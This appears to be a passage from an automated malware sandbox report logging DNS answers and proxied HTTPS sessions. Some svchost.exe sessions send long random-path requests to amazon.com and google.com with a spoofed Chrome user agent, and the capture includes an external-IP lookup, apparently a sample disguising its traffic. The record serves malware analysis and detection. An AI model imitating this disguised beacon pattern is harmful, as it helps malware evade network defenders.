Sep 28, 2021 09:53:14.846839905 CEST	8.8.8.8	192.168.2.3	0x7859	No error (0)	www.amazon.com	tp.47cf2c8c9-frontier.amazon.com		CNAME (Canonical name)	IN (0x0001)
Sep 28, 2021 09:53:14.846839905 CEST	8.8.8.8	192.168.2.3	0x7859	No error (0)	tp.47cf2c8c9-frontier.amazon.com	www.amazon.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)
Sep 28, 2021 09:53:44.865613937 CEST	8.8.8.8	192.168.2.3	0x4725	No error (0)	www.amazon.com	tp.47cf2c8c9-frontier.amazon.com		CNAME (Canonical name)	IN (0x0001)
Sep 28, 2021 09:53:44.865613937 CEST	8.8.8.8	192.168.2.3	0x4725	No error (0)	tp.47cf2c8c9-frontier.amazon.com	www-amazon-com.customer.fastly.net		CNAME (Canonical name)	IN (0x0001)
Sep 28, 2021 09:53:44.865613937 CEST	8.8.8.8	192.168.2.3	0x4725	No error (0)	www-amazon-com.customer.fastly.net		162.219.225.118	A (IP address)	IN (0x0001)
Sep 28, 2021 09:53:45.940496922 CEST	8.8.8.8	192.168.2.3	0x21f4	No error (0)	www.yahoo.com	new-fp-shed.wg1.b.yahoo.com		CNAME (Canonical name)	IN (0x0001)
Sep 28, 2021 09:53:45.940496922 CEST	8.8.8.8	192.168.2.3	0x21f4	No error (0)	new-fp-shed.wg1.b.yahoo.com		87.248.100.216	A (IP address)	IN (0x0001)
Sep 28, 2021 09:53:45.940496922 CEST	8.8.8.8	192.168.2.3	0x21f4	No error (0)	new-fp-shed.wg1.b.yahoo.com		87.248.100.215	A (IP address)	IN (0x0001)
Sep 28, 2021 09:53:47.645009041 CEST	8.8.8.8	192.168.2.3	0xb4e5	No error (0)	www.google.com		142.250.185.196	A (IP address)	IN (0x0001)
Sep 28, 2021 09:53:52.927294016 CEST	8.8.8.8	192.168.2.3	0x4dbc	No error (0)	myexternalip.com		34.117.59.81	A (IP address)	IN (0x0001)
Sep 28, 2021 09:54:14.167988062 CEST	8.8.8.8	192.168.2.3	0x7d	No error (0)	prda.aadg.msidentity.com	www.tm.a.prd.aadg.akadns.net		CNAME (Canonical name)	IN (0x0001)

HTTP Request Dependency Graph

https:

geolocation.onetrust.com

btloader.com

ad-delivery.net

ad.doubleclick.net

161.35.19.83

161.35.29.127

www.amazon.com

www.yahoo.com

www.google.com

myexternalip.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49775	104.20.184.68	443	C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp	Direction	Data
2021-09-28 07:52:41 UTC	OUT	GET /cookieconsentpub/v1/geo/location HTTP/1.1 Accept: application/javascript, /;q=0.8 Referer: https://www.msn.com/de-ch/?ocid=iehp Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Encoding: gzip, deflate Host: geolocation.onetrust.com Connection: Keep-Alive
2021-09-28 07:52:41 UTC	IN	HTTP/1.1 200 OK Date: Tue, 28 Sep 2021 07:52:41 GMT Content-Type: text/javascript Content-Length: 182 Connection: close Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 695b64ca0f65690a-FRA
2021-09-28 07:52:41 UTC	IN	Data Raw: 6a 73 6f 6e 46 65 65 64 28 7b 22 63 6f 75 6e 74 72 79 22 3a 22 43 48 22 2c 22 73 74 61 74 65 22 3a 22 5a 48 22 2c 22 73 74 61 74 65 4e 61 6d 65 22 3a 22 5a 75 72 69 63 68 22 2c 22 7a 69 70 63 6f 64 65 22 3a 22 38 31 35 32 22 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 45 75 72 6f 70 65 2f 5a 75 72 69 63 68 22 2c 22 6c 61 74 69 74 75 64 65 22 3a 22 34 37 2e 34 33 30 30 30 22 2c 22 6c 6f 6e 67 69 74 75 64 65 22 3a 22 38 2e 35 37 31 38 30 22 2c 22 63 69 74 79 22 3a 22 5a 75 72 69 63 68 22 2c 22 63 6f 6e 74 69 6e 65 6e 74 22 3a 22 45 55 22 7d 29 3b Data Ascii: jsonFeed({"country":"CH","state":"ZH","stateName":"Zurich","zipcode":"8152","timezone":"Europe/Zurich","latitude":"47.43000","longitude":"8.57180","city":"Zurich","continent":"EU"});

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49788	172.67.70.134	443	C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:52:41 UTC	0	OUT	GET /tag?o=6208086025961472&upapi=true HTTP/1.1 Accept: application/javascript, /;q=0.8 Referer: https://www.msn.com/de-ch/?ocid=iehp Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Encoding: gzip, deflate Host: btloader.com Connection: Keep-Alive
2021-09-28 07:52:41 UTC	1	IN	HTTP/1.1 200 OK Date: Tue, 28 Sep 2021 07:52:41 GMT Content-Type: application/javascript Content-Length: 10308 Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=1800, must-revalidate Etag: "d8733c72977f7f00ebdfe201a7976112" Vary: Origin Via: 1.1 google CF-Cache-Status: HIT Age: 690 Accept-Ranges: bytes Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=KTcMyJRk9xa30hoDQB0AAtmR%2BPuMWFeVp4plgPHzpi%2BioEOMTiPd35uBVFMzfQLM9BkyuvoAGRgDzJMluIfoczahyGYB2vDqKQpLhNjIoHHVpaKPHuajzJKnigD1Fg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 695b64ccdc4c6977-FRA
2021-09-28 07:52:41 UTC	1	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 72 28 65 2c 69 2c 63 2c 6c 29 7b 72 65 74 75 72 6e 20 6e 65 77 28 63 3d 63 7c 7c 50 72 6f 6d 69 73 65 29 28 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 74 72 79 7b 72 28 6c 2e 6e 65 78 74 28 65 29 29 7d 63 61 74 63 68 28 65 29 7b 74 28 65 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 29 7b 74 72 79 7b 72 28 6c 2e 74 68 72 6f 77 28 65 29 29 7d 63 61 74 63 68 28 65 29 7b 74 28 65 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 72 28 65 29 7b 76 61 72 20 74 3b 65 2e 64 6f 6e 65 3f 6e 28 65 2e 76 61 6c 75 65 29 3a 28 28 74 3d 65 2e 76 61 6c 75 65 29 69 6e 73 74 61 6e 63 65 6f 66 20 63 3f 74 3a 6e 65 77 20 63 28 66 75 6e 63 74 69 6f Data Ascii: !function(){"use strict";function r(e,i,c,l){return new(c=c\|\|Promise)(function(n,t){function o(e){try{r(l.next(e))}catch(e){t(e)}}function a(e){try{r(l.throw(e))}catch(e){t(e)}}function r(e){var t;e.done?n(e.value):((t=e.value)instanceof c?t:new c(functio
2021-09-28 07:52:41 UTC	2	IN	Data Raw: 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 61 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 47 65 6e 65 72 61 74 6f 72 20 69 73 20 61 6c 72 65 61 64 79 20 65 78 65 63 75 74 69 6e 67 2e 22 29 3b 66 6f 72 28 3b 63 3b 29 74 72 79 7b 69 66 28 61 3d 31 2c 72 26 26 28 69 3d 32 26 74 5b 30 5d 3f 72 2e 72 65 74 75 72 6e 3a 74 5b 30 5d 3f 72 2e 74 68 72 6f 77 7c 7c 28 28 69 3d 72 2e 72 65 74 75 72 6e 29 26 26 69 2e 63 61 6c 6c 28 72 29 2c 30 29 3a 72 2e 6e 65 78 74 29 26 26 21 28 69 3d 69 2e 63 61 6c 6c 28 72 2c 74 5b 31 5d 29 29 2e 64 6f 6e 65 29 72 65 74 75 72 6e 20 69 3b 73 77 69 74 63 68 28 72 3d 30 2c 69 26 26 28 74 3d 5b 32 26 74 5b 30 5d 2c 69 2e 76 61 6c 75 65 Data Ascii: eturn function(e){return function(t){if(a)throw new TypeError("Generator is already executing.");for(;c;)try{if(a=1,r&&(i=2&t[0]?r.return:t[0]?r.throw\|\|((i=r.return)&&i.call(r),0):r.next)&&!(i=i.call(r,t[1])).done)return i;switch(r=0,i&&(t=[2&t[0],i.value
2021-09-28 07:52:41 UTC	3	IN	Data Raw: 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 29 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 29 7d 29 7d 76 61 72 20 75 2c 61 2c 64 2c 62 2c 6d 3b 75 3d 22 36 32 30 38 30 38 36 30 32 35 39 36 31 34 37 32 22 2c 61 3d 22 62 74 6c 6f 61 64 65 72 2e 63 6f 6d 22 2c 64 3d 22 61 70 69 2e 62 74 6c 6f 61 64 65 72 2e 63 6f 6d 22 2c 62 3d 22 32 2e 30 2e 32 2d 32 2d 67 66 64 63 39 30 35 34 22 2c 6d 3d 22 22 3b 76 61 72 20 6f 3d 7b 22 6d 73 6e 2e 63 6f 6d 22 3a 7b 22 63 6f 6e 74 65 6e 74 5f 65 6e 61 62 6c 65 64 22 3a 74 72 75 65 2c 22 6d 6f 62 69 6c 65 5f 63 6f 6e 74 65 6e 74 5f 65 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 77 65 62 73 69 74 65 5f 69 64 22 3a 22 35 36 37 31 37 33 37 33 38 38 36 39 35 35 35 32 22 7d 7d 2c 77 3d Data Ascii: ndow.document.documentElement).appendChild(e)})}var u,a,d,b,m;u="6208086025961472",a="btloader.com",d="api.btloader.com",b="2.0.2-2-gfdc9054",m="";var o={"msn.com":{"content_enabled":true,"mobile_content_enabled":false,"website_id":"5671737388695552"}},w=
2021-09-28 07:52:41 UTC	5	IN	Data Raw: 66 28 6e 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 29 26 26 28 74 3d 21 30 2c 70 2e 77 65 62 73 69 74 65 49 44 3d 6f 5b 6e 5d 2e 77 65 62 73 69 74 65 5f 69 64 2c 70 2e 63 6f 6e 74 65 6e 74 45 6e 61 62 6c 65 64 3d 6f 5b 6e 5d 2e 63 6f 6e 74 65 6e 74 5f 65 6e 61 62 6c 65 64 2c 70 2e 6d 6f 62 69 6c 65 43 6f 6e 74 65 6e 74 45 6e 61 62 6c 65 64 3d 6f 5b 6e 5d 2e 6d 6f 62 69 6c 65 5f 63 6f 6e 74 65 6e 74 5f 65 6e 61 62 6c 65 64 29 3b 74 7c 7c 28 28 6e 65 77 20 49 6d 61 67 65 29 2e 73 72 63 3d 22 2f 2f 22 2b 64 2b 22 2f 6c 3f 65 76 65 6e 74 3d 75 6e 6b 6e 6f 77 6e 44 6f 6d 61 69 6e 26 6f 72 67 3d 22 2b 75 2b 22 26 64 6f 6d 61 69 6e 3d 22 2b 65 29 7d 28 29 2c 77 69 6e 64 6f 77 2e 5f 5f 62 74 5f 74 61 67 5f 64 3d 7b 6f 72 67 49 44 3a 75 2c 64 6f 6d 61 69 6e 3a Data Ascii: f(n.toLowerCase()))&&(t=!0,p.websiteID=o[n].website_id,p.contentEnabled=o[n].content_enabled,p.mobileContentEnabled=o[n].mobile_content_enabled);t\|\|((new Image).src="//"+d+"/l?event=unknownDomain&org="+u+"&domain="+e)}(),window.__bt_tag_d={orgID:u,domain:
2021-09-28 07:52:41 UTC	6	IN	Data Raw: 7b 76 61 72 20 74 3d 63 2e 62 75 6e 64 6c 65 73 5b 65 5d 3b 69 5b 65 5d 3d 7b 6d 69 6e 3a 4d 61 74 68 2e 74 72 75 6e 63 28 31 30 30 2a 28 2b 6f 2b 30 29 29 2c 6d 61 78 3a 4d 61 74 68 2e 74 72 75 6e 63 28 31 30 30 2a 28 2b 6f 2b 30 2b 74 29 29 7d 2c 6f 2b 3d 74 7d 29 7d 76 61 72 20 6c 3d 74 5b 30 5d 3b 69 66 28 6e 75 6c 6c 21 3d 6c 26 26 6c 2e 62 75 6e 64 6c 65 73 29 7b 76 61 72 20 73 3d 6f 2c 75 3d 31 2d 6f 3b 4f 62 6a 65 63 74 2e 6b 65 79 73 28 6c 2e 62 75 6e 64 6c 65 73 29 2e 73 6f 72 74 28 29 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 6c 2e 62 75 6e 64 6c 65 73 5b 65 5d 3b 69 5b 65 5d 3d 7b 6d 69 6e 3a 4d 61 74 68 2e 74 72 75 6e 63 28 31 30 30 2a 28 73 2b 75 2a 61 29 29 2c 6d 61 78 3a 4d 61 74 68 2e 74 72 75 6e 63 Data Ascii: {var t=c.bundles[e];i[e]={min:Math.trunc(100(+o+0)),max:Math.trunc(100(+o+0+t))},o+=t})}var l=t[0];if(null!=l&&l.bundles){var s=o,u=1-o;Object.keys(l.bundles).sort().forEach(function(e){var t=l.bundles[e];i[e]={min:Math.trunc(100(s+ua)),max:Math.trunc
2021-09-28 07:52:41 UTC	7	IN	Data Raw: 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 6f 29 7d 63 61 74 63 68 28 65 29 7b 7d 76 61 72 20 61 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 76 65 6e 74 28 22 43 75 73 74 6f 6d 45 76 65 6e 74 22 29 3b 61 2e 69 6e 69 74 43 75 73 74 6f 6d 45 76 65 6e 74 28 74 2c 6e 2e 62 75 62 62 6c 65 73 2c 6e 2e 63 61 6e 63 65 6c 61 62 6c 65 2c 6e 2e 64 65 74 61 69 6c 29 2c 77 69 6e 64 6f 77 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 61 29 7d 66 3d 7b 22 35 36 37 31 37 33 37 33 38 38 36 39 35 35 35 32 22 3a 7b 22 64 69 67 65 73 74 22 3a 36 32 38 31 36 37 38 39 32 31 31 33 38 31 37 36 2c 22 62 75 6e 64 6c 65 73 22 3a 7b 22 36 32 38 31 36 37 38 39 32 31 31 33 38 31 37 36 22 3a 31 7d 7d 2c 22 67 6c 6f 62 61 6c 22 3a 7b 22 64 69 67 65 73 74 22 3a 36 32 36 30 30 38 Data Ascii: .dispatchEvent(o)}catch(e){}var a=document.createEvent("CustomEvent");a.initCustomEvent(t,n.bubbles,n.cancelable,n.detail),window.dispatchEvent(a)}f={"5671737388695552":{"digest":6281678921138176,"bundles":{"6281678921138176":1}},"global":{"digest":626008
2021-09-28 07:52:41 UTC	9	IN	Data Raw: 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 2e 69 6e 64 65 78 4f 66 28 22 62 74 5f 64 65 62 75 67 3d 74 72 75 65 22 29 7c 7c 22 74 72 75 65 22 3d 3d 77 69 6e 64 6f 77 2e 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 22 62 74 5f 64 65 62 75 67 22 29 29 26 26 28 70 2e 63 6f 6e 74 65 6e 74 45 6e 61 62 6c 65 64 3d 22 74 72 75 65 22 3d 3d 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 22 66 6f 72 63 65 43 6f 6e 74 65 6e 74 22 29 7c 7c 70 2e 63 6f 6e 74 65 6e 74 45 6e 61 62 6c 65 64 2c 70 2e 6d 6f 62 69 6c 65 43 6f 6e 74 65 6e 74 45 6e 61 62 6c 65 64 3d 22 74 72 75 65 22 3d 3d 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 22 66 6f 72 63 65 4d 6f 62 69 6c 65 43 6f 6e 74 65 6e 74 22 29 7c 7c 70 2e 6d 6f 62 69 Data Ascii: ow.location.href.indexOf("bt_debug=true")\|\|"true"==window.localStorage.getItem("bt_debug"))&&(p.contentEnabled="true"==localStorage.getItem("forceContent")\|\|p.contentEnabled,p.mobileContentEnabled="true"==localStorage.getItem("forceMobileContent")\|\|p.mobi
2021-09-28 07:52:41 UTC	10	IN	Data Raw: 29 7c 6b 6c 6f 6e 7c 6b 70 74 20 7c 6b 77 63 5c 2d 7c 6b 79 6f 28 63 7c 6b 29 7c 6c 65 28 6e 6f 7c 78 69 29 7c 6c 67 28 20 67 7c 5c 2f 28 6b 7c 6c 7c 75 29 7c 35 30 7c 35 34 7c 5c 2d 5b 61 2d 77 5d 29 7c 6c 69 62 77 7c 6c 79 6e 78 7c 6d 31 5c 2d 77 7c 6d 33 67 61 7c 6d 35 30 5c 2f 7c 6d 61 28 74 65 7c 75 69 7c 78 6f 29 7c 6d 63 28 30 31 7c 32 31 7c 63 61 29 7c 6d 5c 2d 63 72 7c 6d 65 28 72 63 7c 72 69 29 7c 6d 69 28 6f 38 7c 6f 61 7c 74 73 29 7c 6d 6d 65 66 7c 6d 6f 28 30 31 7c 30 32 7c 62 69 7c 64 65 7c 64 6f 7c 74 28 5c 2d 7c 20 7c 6f 7c 76 29 7c 7a 7a 29 7c 6d 74 28 35 30 7c 70 31 7c 76 20 29 7c 6d 77 62 70 7c 6d 79 77 61 7c 6e 31 30 5b 30 2d 32 5d 7c 6e 32 30 5b 32 2d 33 5d 7c 6e 33 30 28 30 7c 32 29 7c 6e 35 30 28 30 7c 32 7c 35 29 7c 6e 37 28 30 28 Data Ascii: )\|klon\|kpt \|kwc\-\|kyo(c\|k)\|le(no\|xi)\|lg( g\|\/(k\|l\|u)\|50\|54\|\-[a-w])\|libw\|lynx\|m1\-w\|m3ga\|m50\/\|ma(te\|ui\|xo)\|mc(01\|21\|ca)\|m\-cr\|me(rc\|ri)\|mi(o8\|oa\|ts)\|mmef\|mo(01\|02\|bi\|de\|do\|t(\-\| \|o\|v)\|zz)\|mt(50\|p1\|v )\|mwbp\|mywa\|n10[0-2]\|n20[2-3]\|n30(0\|2)\|n50(0\|2\|5)\|n7(0(
2021-09-28 07:52:41 UTC	11	IN	Data Raw: 2b 22 26 22 2b 6d 29 3b 72 65 74 75 72 6e 20 74 7d 28 6f 29 29 2c 5b 32 5d 3b 74 72 79 7b 44 28 7b 65 76 65 6e 74 4e 61 6d 65 3a 22 41 63 63 65 70 74 61 62 6c 65 41 64 73 49 6e 69 74 22 2c 70 61 79 6c 6f 61 64 3a 7b 64 65 74 61 69 6c 3a 21 31 7d 7d 29 2c 44 28 7b 65 76 65 6e 74 4e 61 6d 65 3a 22 75 70 6f 6e 69 74 49 6e 69 74 22 2c 70 61 79 6c 6f 61 64 3a 7b 64 65 74 61 69 6c 3a 21 31 7d 7d 29 7d 63 61 74 63 68 28 65 29 7b 7d 72 65 74 75 72 6e 5b 32 5d 7d 7d 29 7d 29 7d 28 29 7d 63 61 74 63 68 28 65 29 7b 7d 7d 28 29 3b 0a Data Ascii: +"&"+m);return t}(o)),[2];try{D({eventName:"AcceptableAdsInit",payload:{detail:!1}}),D({eventName:"uponitInit",payload:{detail:!1}})}catch(e){}return[2]}})})}()}catch(e){}}();

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.3	49886	162.219.225.118	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:53:44 UTC	895	OUT	GET /mS7tcFv0menbltEqe10kZt3RTh6Tj0Nav6pSUjendz71/hi9rDa0avrg9vE2vmOgoWKm1tixc7dR82sfszmt61x7/7deyu5tr5jcJblnsxekBzocGe5s2F6/8xNe1ja2e1kelfr8nuh77e31l5/amNykIaxqqth8tpbrqeeq1ieDznmn4D/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.amazon.com Connection: Keep-Alive
2021-09-28 07:53:45 UTC	896	IN	HTTP/1.1 404 Not Found Connection: close Content-Length: 897 server: Server date: Tue, 28 Sep 2021 07:53:45 GMT content-type: text/html permissions-policy: interest-cohort=() x-amz-rid: V9ED52P4E2C6XR8NJ1SW x-sdch-encode: 0 last-modified: Tue, 10 Aug 2021 22:12:21 GMT etag: "687-5c93bcbae3b40-gzip" accept-ranges: bytes content-encoding: gzip vary: Accept-Encoding,User-Agent,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache,X-Amzn-AX-Treatment,User-Agent strict-transport-security: max-age=47474747; includeSubDomains; preload x-frame-options: SAMEORIGIN
2021-09-28 07:53:45 UTC	896	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 55 5d 6f db 36 14 fd 2b 2c 85 0e f1 12 59 92 93 74 8d be b0 15 ed 82 3d 6c 18 d0 00 7b 18 86 80 22 af 28 2e 14 c9 91 57 8e 5d c3 ff 7d 90 e4 d8 6e fa d8 07 11 22 75 ef 3d f7 1c f2 50 e5 1b 61 39 6e 1d 90 0e 7b 5d 97 87 11 98 a8 cb 1e 90 11 de 31 1f 00 2b 3a 60 1b bf a7 87 d5 0e d1 c5 f0 df a0 d6 15 dd c4 03 8b b9 ed 1d 43 d5 68 a0 84 5b 83 60 b0 a2 0a 2a 10 12 5e 92 0c eb a1 a2 6b 05 cf ce 7a 3c 8b 7b 56 02 bb 4a c0 5a 71 88 a7 c9 15 51 46 a1 62 3a 0e 9c 69 a8 b2 2b 12 3a af cc 53 8c 36 6e 15 56 c6 d2 ba 44 85 1a ea 5f 7a f6 c5 9a 25 b7 3d f9 93 49 20 7f 58 24 bf da c1 88 32 99 03 ca 80 5b 0d f5 48 ed aa b1 62 bb 73 4c 08 65 64 9e 16 3d f3 52 99 3c dd ab 5e ee 1a eb 05 f8 3c dd 47 ec 2a 6a 76 0d e3 4f d2 8f 85 f2 68 75 bd Data Ascii: U]o6+,Yt=l{"(.W]}n"u=Pa9n{]1+:`Ch[`^kz<{VJZqQFb:i+:S6nVD_z%=I X$2[HbsLed=R<^<GjvOhu

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
100	192.168.2.3	50070	142.250.185.196	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:37 UTC	1117	OUT	GET /adjnjgdn9fIrd9j0I5aoccowZcmxiqk6vqe59f43iD/6RDRkx66f96f1uxib2dMlk2Pdiilzif5Z5V0qla/ogqjkxmNRw1usrQQlTowwqI3if8rfvp9xikq9Doj8aV1W3va/sp3qirrfgtqivg3f310a6s1xi9zumR54oam9h6493p/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.google.com Connection: Keep-Alive
2021-09-28 07:54:37 UTC	1118	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1736 Date: Tue, 28 Sep 2021 07:54:37 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2021-09-28 07:54:37 UTC	1118	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-se
2021-09-28 07:54:37 UTC	1119	IN	Data Raw: 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e Data Ascii: r_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brandin

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
101	192.168.2.3	50071	142.250.185.196	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:37 UTC	1121	OUT	GET /gslielaqto24df8l83m/0jGst3i6n6fg13MJ/4bceiqRm2r87ycpn1u8y9ssKwmwt6uzkhzatBus6kg58Fw/dzeTx1tygqak07knjYfblpqae04Cd2sdsqx3urO3wgmK/drfZvmojkfLh4FdUghS4u25uuevdslz/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.google.com Connection: Keep-Alive
2021-09-28 07:54:37 UTC	1122	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1722 Date: Tue, 28 Sep 2021 07:54:37 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2021-09-28 07:54:37 UTC	1122	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-se
